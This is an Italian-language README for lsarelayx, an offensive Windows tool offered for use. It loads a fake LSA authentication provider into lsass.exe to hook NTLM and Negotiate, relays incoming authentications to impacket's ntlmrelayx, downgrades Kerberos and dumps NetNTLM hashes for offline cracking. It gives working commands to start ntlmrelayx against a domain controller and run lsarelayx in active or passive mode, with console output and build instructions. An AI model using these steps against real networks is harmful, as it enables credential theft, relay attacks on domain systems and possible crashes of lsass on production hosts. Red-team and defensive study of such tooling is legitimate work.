
Strumento di relay NTLM a livello di sistema che intercetta le API di autenticazione di Windows per inoltrare connessioni NTLM in arrivo, declassare Kerberos e scaricare hash NetNTLM per cracking offline.
lsarelayx è uno strumento di relay NTLM di sistema progettato per inoltrare le richieste di autenticazione NTLM in arrivo all'host su cui è in esecuzione. lsarelayx inoltra qualsiasi richiesta di autenticazione in arrivo, inclusa SMB. Poiché lsarelayx si aggancia ai flussi di autenticazione delle applicazioni esistenti, il tool tenterà anche di soddisfare la richiesta di autenticazione originale dopo il completamento del relay. Questo impedirà all'applicazione/protocollo di destinazione di mostrare errori e funzionerà normalmente per gli utenti finali che si autenticano contro l'host lsarelayx.
lsarelayx è composto da tre parti. Un provider di autenticazione LSA fittizio implementato in liblsarelay.dll, un'applicazione console in modalità utente come interfaccia di controllo e un nuovo modulo server ntlmrelayx chiamato RAW.
liblsarelayx.dll è il provider di autenticazione LSA che viene caricato da lsarelayx. Il suo scopo principale è agganciare i pacchetti NTLM e Negotiate per facilitare il reindirizzamento delle richieste di autenticazione a lsarelayx attraverso una named pipe locale per l'inoltro e lo scaricamento degli hash NetNTLM. liblsarelayx è progettato per essere il più semplice possibile, mentre tutto il lavoro pesante è svolto da lsarelayx.
lsarelayx.exe è l'applicazione console principale utilizzata per caricare il provider di autenticazione LSA personalizzato (liblsarelayx.dll), ascoltare i token NTLM e Negotiate in arrivo dal provider di autenticazione e inoltrarli al modulo server RAW di ntlmrelayx. Il tool esegue anche le query LDAP utilizzate per catturare le informazioni sui gruppi per gli utenti inoltrati e restituirle al provider di autenticazione LSA.
impacket's ntlmrelayx ha implementato una quantità significativa di lavoro nella creazione di attacchi di relay e continuerà a migliorare e aggiungere ulteriori attacchi in futuro. Per sfruttare ciò invece di re-implementare gli attacchi direttamente all'interno di lsarelayx, è stato creato un nuovo modulo server ntlmrelayx chiamato RAW. Attualmente c'è una PR aperta su GitHub che implementa il modulo server RAW. Il modulo server RAW è agnostico rispetto al protocollo ed è progettato per accettare i messaggi NTLM grezzi direttamente da software di terze parti come lsarelayx.
Fino a quando la PR non sarà integrata nel repository principale di impacket, puoi usare questa versione.
Per prima cosa avvia il modulo server RAW di ntmlrelayx per ascoltare i messaggi NTLM grezzi passati da lsarelayx.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx stesso richiede permessi di amministratore locale per essere eseguito. Per eseguire in modalità relay attiva, è necessario specificare l'indirizzo host dove ntlmrelayx sta eseguendo il modulo server raw. La porta predefinita è 6666. Può essere sovrascritta con l'argomento --port, ma assicurati di aver sovrascritto anche la porta sul lato ntlmrelayx usando l'argomento --raw-port.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Puoi anche eseguire lsarelayx in modalità passiva eseguendolo senza alcun argomento
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Una volta che la DLL liblsarelayx è stata caricata in lsass, attualmente non è possibile scaricarla a causa delle limitazioni di come funzionano i plugin LSA. Il client può essere chiuso, il che metterà la DLL in uno stato dormiente fino a quando il client non ripartirà, ma la DLL rimarrà in uso fino a un riavvio.
Poiché il plugin LSA non è in realtà un plugin genuino, ci sono piani per implementare un caricatore riflessivo all'interno del plugin che possa poi essere fermato e avviato a piacimento, ma questo è un esercizio per un altro giorno.
Lo sviluppo è stato effettuato su Windows 10 e Server 2016. Un rapido test è stato eseguito su Windows Server 2012 R2 che ha funzionato, ma il calcolo degli offset per l'hooking può fallire su 2012 (può essere fornito manualmente usando lookuppackage-hint=, se sbagliato Windows si riavvierà). Non sono stati effettuati test su nulla al di sotto di Windows 10 sul lato desktop e nessun test è stato effettuato su Server 2019.
liblsarelayx.dll verrà caricata all'interno del processo critico lsass.exe. Se liblsarelayx.dll presenta bug che causano il crash di lsass.exe, l'host SI riavvierà dopo 60 secondi. Sebbene siano stati fatti i migliori sforzi per scrivere codice senza bug, non posso promettere nulla. Non venire a piangere da me se hai mandato giù il tuo cliente Fortune 500 causando il crash del file server occupato dopo aver usato lsarelayx.
Se hai Docker installato, questa è l'opzione più rapida. Utilizza l'immagine ccob/windows_cross con tutte le dipendenze di compilazione pre-installate.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Su Linux utilizziamo una toolchain CMake insieme al compilatore MinGW. Questi devono essere installati in anticipo. Per il componente gestito, assicurati che lo strumento da riga di comando dotnet sia installato da .NET core
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows richiederà un'installazione completa di CMake, MinGW e Visual Studio prima di tentare la compilazione; è il modo più doloroso per compilare se non hai un ambiente di sviluppo installato
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip